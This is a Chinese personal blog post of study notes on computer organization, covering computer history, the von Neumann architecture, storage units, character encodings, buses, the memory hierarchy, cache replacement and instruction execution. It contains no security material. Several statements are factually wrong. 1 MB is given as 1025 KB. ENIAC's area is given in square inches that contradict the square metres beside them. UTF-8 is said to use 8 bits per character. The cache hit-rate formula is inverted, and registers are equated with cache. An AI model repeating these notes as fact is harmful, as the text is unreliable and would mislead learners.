器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符","keywords":["计算机组成原理"],"articleBody":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符\n中文编码集\n国标GB2312，诞生于1980年，中文名为信息交换用汉字编码字符集-基本集，GB2312收录了7445个字符（6763个汉字和682个其他字符）\n因为GB2312不符合国际标准，因此推出GBK（汉字内码扩展规范），向下兼容GB2312，向上支持国际ISO标准，GBK收录了21003个汉字，支持全部中日韩汉字\n为了解决全球的字符集问题，推出了Unicode（又被叫为统一码，万国码，单一码），Unicode定义的世界通用的编码集，并且使用UTF-x来对Unicode进行编码（这个x表示一个字符占多少bits，例如utf-8就是指，1个字符占了8个bits）\n计算机组成\n总线：解决不同设备之间的通信问题\n常见的总线有：\nUSB：全称Universal Serial Bus（通用串行总线）\nPCI总线（外置显卡）\nISA总线\nThunderbolt总线\n总线分2种，片内总线（就是芯片内部的总线，传递芯片内部的信息），系统总线（就是连接计算机外围设备的总线，负责CPU，内存，IO设备之间的信息传递）\n系统总线又分为数据总线（数据总线的位数（总线宽度）一般于CPU位数相同，64位（可以一次传输64位，8个字节的数据），负责双向传输数据信息），地址总线（指定数据的内存中的地址，位数为n时，寻址范围为0到2的n次方，位数和存储单元的位数有关系），控制总线（负责传输控制信号，控制信号通过控制总线，从这一个组件传输给另一个组件（例如显卡发送控制信号给显示器），而且还可以监控设备是否就绪）\n总线仲裁（解决多个设备就绪，总线的使用权分配问题）\n仲裁控制器：控制设备使用总线的优先顺序\n仲裁方法：链式查询（仲裁控制器连接总线的全部设备（串连），需要使用总线的设备发送仲裁，优先级高的最先允许，使用完毕，再询问下一个设备，直到没有需要，这就是链式查询），计时器定时查询（仲裁控制器使用计数器累计计数，当接收到仲裁信号后，向全部设备发送计数值，当计数值和设备编码一致时获取使用权），独立请求（每个设备都有总线独立连接仲裁器，设备都可以向仲裁控制器单独发送请求和接收请求）\n输入/输出设备\n常见输入/输出设备：字符输入设备（键盘），图形输入设备（鼠标，数位板，扫描仪），图像输出设备（显示器，打印机，投影仪）\n输入/输出接口通用设计：允许读取数据，允许向设备发送数据，允许检测设备是否被占用，允许检查设备是否已连接，允许检查设备已启动\n数据线（I/O设备与主机传输数据，单向，双向），状态线（I/O设备向主机报告的信息线，主机可以通过该线来查询设备是否已经正常连接并且已经就绪，也可以查询设备是否被其他进程占用），命令线（CPU向设备发送命令的信号线），设备选择线（主机选择I/O设备进行操作的信号线）\nCPU与IO设备通信：程序中断（IO设备就绪，会向CPU发生中断信号，CPU接收到中断信号后，会执行中断程序工作，会暂停当前进程的工作，转而处理该I/O设备的工作，完成后再恢复到之前进程的工作），DMA（直接存储区访问，DMA直接连接主存和设备，DMA工作期间不需要CPU参与，而是作为主存和设备的中间件，来做到IO设备的数据交换）\n计算机存储器\n存储器的分类\n按存储介质分类，分为半导体存储器（内存，固态硬盘）和磁存储器（磁盘（机械硬盘），磁带）\n按存取方式分类，分为随机存储器（RAM），串行存储器（按顺序读写），只读存储器（ROM）\n缓存（CPU的寄存器），主存（内存），辅存（硬盘）\n存储器的层次结构：CPU可以与主存互相访问，缓存可以和CPU互相访问，也可以和主存互相访问，主存和辅存之间互相访问\nCPU和缓存，以及主存构成缓存-主存层次，而主存和辅存又构成了主存-辅存层次\n局部性原理：CPU访问存储器时，存取指令和存取数据，其访问的存储单元都是聚集在一个连续区域中\n缓存-主存层次是为了解决CPU速度和主存速度不匹配的，在CPU和主存之间再加一层缓存，CPU运行时，可以将数据临时存储在该缓存中，而且不需要完全依赖于主存来做数据存储媒介（主存对于CPU来说还是太慢，需要等待主存处理完毕），提高CPU的利用率\n主存-辅存层次是为了解决主存容量不够的问题，在主存之外添加辅助存储器（例如硬盘）\n对于超过主存的程序运行，利用局部性原理，将当前用到的数据存储到主存，还没有用到的先存储到辅存中\n主存储器和辅助存储器\n主存储器：内存（RAM，随机存取存储器，Random Access Memory）\nRAM通过电容存储数据，必须每隔一段时间刷新一次（刷新需要电存在，如果长时间没有刷新将丢失电容里的电子，从而导致数据丢失），因此掉电后，数据会在一段时间后丢失\nRAM主要由半导体存储体，驱动器，译码器，读写电路，控制电路组成\nCPU利用主存数据寄存器（MDR）通过数据总线来连接读写电路（来完成读写内存工作）\n通过主存地址寄存器（MAR），通过地址总线来连接译码器（完成传输数据，数据存储地址工作）\n操作系统的位数决定了最大寻址区域，32位操作系统最大支持4GB内存（2^32=42^30），64位操作系统最大支持2^34GB（2^64=2^342^30）\n辅助存储器，例如磁盘（由盘片（可磁化的硬磁特性材料构成），读写磁头（移动磁头来读取磁道信息），磁道，扇区（磁道的一部分）组成）\n磁盘调度算法：先来先服务算法，最短寻道时间优先算法，扫描算法（电梯算法），循环扫描算法\n先来先服务算法：按照顺序来访问磁道的读写\n最短寻道时间优先算法：优先访问离磁头最近的磁道\n扫描算法（电梯算法）：磁头每次只往一个方向移动，只有到达尽头时才会反方向移动（因为和电梯调度是一样的，因此又叫电梯算法）\n循环扫描算法：基于扫描算法的优化版本，只向一个方向移动，到达尽头不会反方向移动，而是回到起点，继续一个方向移动\n计算机高速缓存\n计算机缓存的工作原理\n字：指存储在一个存储单元中的二进制组合（是存储最小的单元）\n字块：指存储在连续的存储单元中，也就是一个单元的一组字\n如果一个字是64位，并且一个字块有n个字，存储器一共有x个字块，nx就是总字数，而nx*64就是这个存储器的总容量（bits）\n字的地址：前几位表示字块的地址，后几位表示该字在字块的地址\n当CPU需要的数据存在于缓存中时，往缓存获取，需要的数据不存在时，向主存获取\n缓存命中率是衡量缓存的性能基础，如果每次需要的数据都在缓存时，命中率为1\n缓存命中率计算公式：访问主存的次数除以访问主存的次数加访问缓存的次数的和，得到的数就是这个缓存的命中率（占访问总次数的比例）\n缓存访问效率也是衡量缓存的性能基础，计算公式为访问缓存的时间除以访问主存的时间\n缓存替换策略：当缓存没有数据时，需要向主存载入需要的数据，主要有4种算法，随机算法，先进先出算法（FIFO），最不经常使用算法（LFU），最近最少使用算法（LRU）\n随机算法：每一次发生替换时，随机选取缓存的位置，将对应的位置替换\n先进先出算法（FIFO）：将缓存看成先进先出的队列，队列满后发生替换时，优先替换最先进入队列的字块\n最不经常使用算法（LFU）：优先替换最不经常使用的字块，需要提供空间来记录字块的使用频率\n最近最少使用算法（LRU）：优先替换最近一段时间内最少使用的字块（可以利用双向链表结构，保证链首是使用的字块，链尾是最不经常使用的字块，只需要将链尾去掉，将新的字块放到链首）\n指令系统\n机器指令由操作码和地址码组成，操作码指定指令需要完成的操作，操作码的位数决定了机器的操作种类，例如8位操作码表示有256种操作种类，地址码是指定数据或者数据的地址，根据地址码又分为三地址指令，二地址指令，以及一地址指令和零地址指令，就是指令有多少个数据地址\n机器指令的操作类型：数据传输类型，算术逻辑操作类型，移位操作类型，控制指令（例如中断指令）\n机器指令的寻址\n指令寻址：顺序寻址，跳跃寻址\n数据寻址：立即寻址，直接寻址，间接寻址（给出的地址是数据地址的地址，再根据数据地址，找到数据）\n计算机的控制器\n控制器是控制计算机和协调计算机的\n控制器由程序计数器（存储下一条指令的地址），时序发生器（发送时序脉冲，CPU根据时序脉冲来进行工作），指令译码器（翻译操作码对应的操作，传输地址码对应的数据），寄存器（通用（暂时存放或者发送数据或者指令，也负责保存算术逻辑单元的中间结果），指令（存取计算机指令），主存地址（保存当前CPU正在访问的内存单元地址），主存数据（保存当前CPU正在读取或者写入的主存数据）），总线组成\n计算机的运算器\n运算器由数据缓冲器，算术逻辑单元（ALU），通用寄存器，状态字寄存器，以及总线组成\n数据缓冲器分为输入缓存（暂时存放外部设备发送过来的数据）和输出缓冲（暂时存放需要发送给外部设备的数据）\n算术逻辑单元（ALU）是运算器核心，可以完成算术运算（位运算，加减乘除等等）\n状态字寄存器是存放运算状态的（例如进位，结果的正负，条件码，溢出等等），也可以存放运算控制信息（例如允许中断位，调试跟踪标记位等等）\n计算机指令执行过程（获取指令，分析指令，执行指令）\n指令执行过程的交互发生在片内总线\n通过缓存获取指令，再将指令通过片内总线发送给指令寄存器，暂时存放这个指令操作码和地址码（并不知道指令的具体内容），再通过指令译码器来获取指令具体内容，指令译码器通过片内总线发送控制信号给运算器，程序计算数+1（表示轮到下一个指令执行），执行指令会先将数据存储在数据寄存器，算术逻辑单元处理数据，并且状态字寄存器记录运算的状态，指令完成后发送运算结果\n","wordCount":"152","inLanguage":"en","datePublished":"2022-11-01T02:00:00Z","dateModified":"2022-11-01T02:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/155/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>计算机组成原理学习笔记</h1><div class=post-meta><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e8%ae%a1%e7%ae%97%e6%9c%ba%e7%bb%84%e6%88%90%e5%8e%9f%e7%90%86%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>计算机发展历史</p><p>1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机</p><p>电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次</p><p>电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）</p><p>晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）</p><p>晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快</p><p>集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）</p><p>超大规模集成电路计算机：芯片集成超大规模的集成电路</p><p>微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）</p><p>摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍</p><p>后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效</p><p>因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上</p><hr><p>计算机的分类</p><p>超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）</p><p>著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra</p><p>天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心</p><p>大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）</p><p>迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱</p><p>工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）</p><p>微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机</p><hr><p>计算机体系和结构</p><p>冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序</p><p>冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备</p><p>冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）</p><p>冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输</p><p>现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）</p><hr><p>计算机层次和编程语言</p><p>程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换</p><p>高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器</p><p>常见的编译型语言有C，C++，Golang</p><p>高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的</p><p>常见的解析型语言有Python，PHP</p><p>java是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器</p><p>计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层</p><p>硬件逻辑层：由门电路和触发器等逻辑电路组成</p><p>微程序机器层：由微指令组成的微程序直接交给硬件执行</p><p>传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集</p><p>这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令</p><p>操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）</p><p>汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器</p><p>高级语言层：高级语言</p><p>应用层：应用软件</p><hr><p>计算机的计算单位</p><p>容量单位</p><p>在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））</p><p>1字节（Byte）等于8bit</p><p>1Kb（千字位）等于1024字节（Byte）</p><p>1mb（兆字节）等于1025kb（千字节）</p><p>1Gb（吉字节）等于1024mb（兆字节）</p><p>1tb（太字节）等于1024gb（吉字节）</p><p>1pb（拍字节）等于1024tb（太字节）</p><p>1eb（艾字节）等于1024pb（拍字节）</p><p>1024是2的10次方</p><p>对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb</p><p>因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量</p><p>原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制</p><p>速度单位</p><p>网络速度</p><p>网络传输数据的单位为Mbps</p><p>因此100M宽带就是指100Mbit/s，每秒传输100Mbps</p><p>100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb</p><p>CPU速度（CPU的时钟频率，Hz）</p><p>Hz是每秒中的周期性变动重复次数的计量</p><p>例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化</p><hr><p>计算机的字符和编码集</p><p>字符编码集的历史</p><p>ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）</p><p>因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符</p><p>中文编码集</p><p>国标GB2312，诞生于1980年，中文名为信息交换用汉字编码字符集-基本集，GB2312收录了7445个字符（6763个汉字和682个其他字符）</p><p>因为GB2312不符合国际标准，因此推出GBK（汉字内码扩展规范），向下兼容GB2312，向上支持国际ISO标准，GBK收录了21003个汉字，支持全部中日韩汉字</p><p>为了解决全球的字符集问题，推出了Unicode（又被叫为统一码，万国码，单一码），Unicode定义的世界通用的编码集，并且使用UTF-x来对Unicode进行编码（这个x表示一个字符占多少bits，例如utf-8就是指，1个字符占了8个bits）</p><hr><p>计算机组成</p><p>总线：解决不同设备之间的通信问题</p><p>常见的总线有：</p><p>USB：全称Universal Serial Bus（通用串行总线）</p><p>PCI总线（外置显卡）</p><p>ISA总线</p><p>Thunderbolt总线</p><p>总线分2种，片内总线（就是芯片内部的总线，传递芯片内部的信息），系统总线（就是连接计算机外围设备的总线，负责CPU，内存，IO设备之间的信息传递）</p><p>系统总线又分为数据总线（数据总线的位数（总线宽度）一般于CPU位数相同，64位（可以一次传输64位，8个字节的数据），负责双向传输数据信息），地址总线（指定数据的内存中的地址，位数为n时，寻址范围为0到2的n次方，位数和存储单元的位数有关系），控制总线（负责传输控制信号，控制信号通过控制总线，从这一个组件传输给另一个组件（例如显卡发送控制信号给显示器），而且还可以监控设备是否就绪）</p><p>总线仲裁（解决多个设备就绪，总线的使用权分配问题）</p><p>仲裁控制器：控制设备使用总线的优先顺序</p><p>仲裁方法：链式查询（仲裁控制器连接总线的全部设备（串连），需要使用总线的设备发送仲裁，优先级高的最先允许，使用完毕，再询问下一个设备，直到没有需要，这就是链式查询），计时器定时查询（仲裁控制器使用计数器累计计数，当接收到仲裁信号后，向全部设备发送计数值，当计数值和设备编码一致时获取使用权），独立请求（每个设备都有总线独立连接仲裁器，设备都可以向仲裁控制器单独发送请求和接收请求）</p><hr><p>输入/输出设备</p><p>常见输入/输出设备：字符输入设备（键盘），图形输入设备（鼠标，数位板，扫描仪），图像输出设备（显示器，打印机，投影仪）</p><p>输入/输出接口通用设计：允许读取数据，允许向设备发送数据，允许检测设备是否被占用，允许检查设备是否已连接，允许检查设备已启动</p><p>数据线（I/O设备与主机传输数据，单向，双向），状态线（I/O设备向主机报告的信息线，主机可以通过该线来查询设备是否已经正常连接并且已经就绪，也可以查询设备是否被其他进程占用），命令线（CPU向设备发送命令的信号线），设备选择线（主机选择I/O设备进行操作的信号线）</p><p>CPU与IO设备通信：程序中断（IO设备就绪，会向CPU发生中断信号，CPU接收到中断信号后，会执行中断程序工作，会暂停当前进程的工作，转而处理该I/O设备的工作，完成后再恢复到之前进程的工作），DMA（直接存储区访问，DMA直接连接主存和设备，DMA工作期间不需要CPU参与，而是作为主存和设备的中间件，来做到IO设备的数据交换）</p><hr><p>计算机存储器</p><p>存储器的分类</p><p>按存储介质分类，分为半导体存储器（内存，固态硬盘）和磁存储器（磁盘（机械硬盘），磁带）</p><p>按存取方式分类，分为随机存储器（RAM），串行存储器（按顺序读写），只读存储器（ROM）</p><p>缓存（CPU的寄存器），主存（内存），辅存（硬盘）</p><p>存储器的层次结构：CPU可以与主存互相访问，缓存可以和CPU互相访问，也可以和主存互相访问，主存和辅存之间互相访问</p><p>CPU和缓存，以及主存构成缓存-主存层次，而主存和辅存又构成了主存-辅存层次</p><p>局部性原理：CPU访问存储器时，存取指令和存取数据，其访问的存储单元都是聚集在一个连续区域中</p><p>缓存-主存层次是为了解决CPU速度和主存速度不匹配的，在CPU和主存之间再加一层缓存，CPU运行时，可以将数据临时存储在该缓存中，而且不需要完全依赖于主存来做数据存储媒介（主存对于CPU来说还是太慢，需要等待主存处理完毕），提高CPU的利用率</p><p>主存-辅存层次是为了解决主存容量不够的问题，在主存之外添加辅助存储器（例如硬盘）</p><p>对于超过主存的程序运行，利用局部性原理，将当前用到的数据存储到主存，还没有用到的先存储到辅存中</p><hr><p>主存储器和辅助存储器</p><p>主存储器：内存（RAM，随机存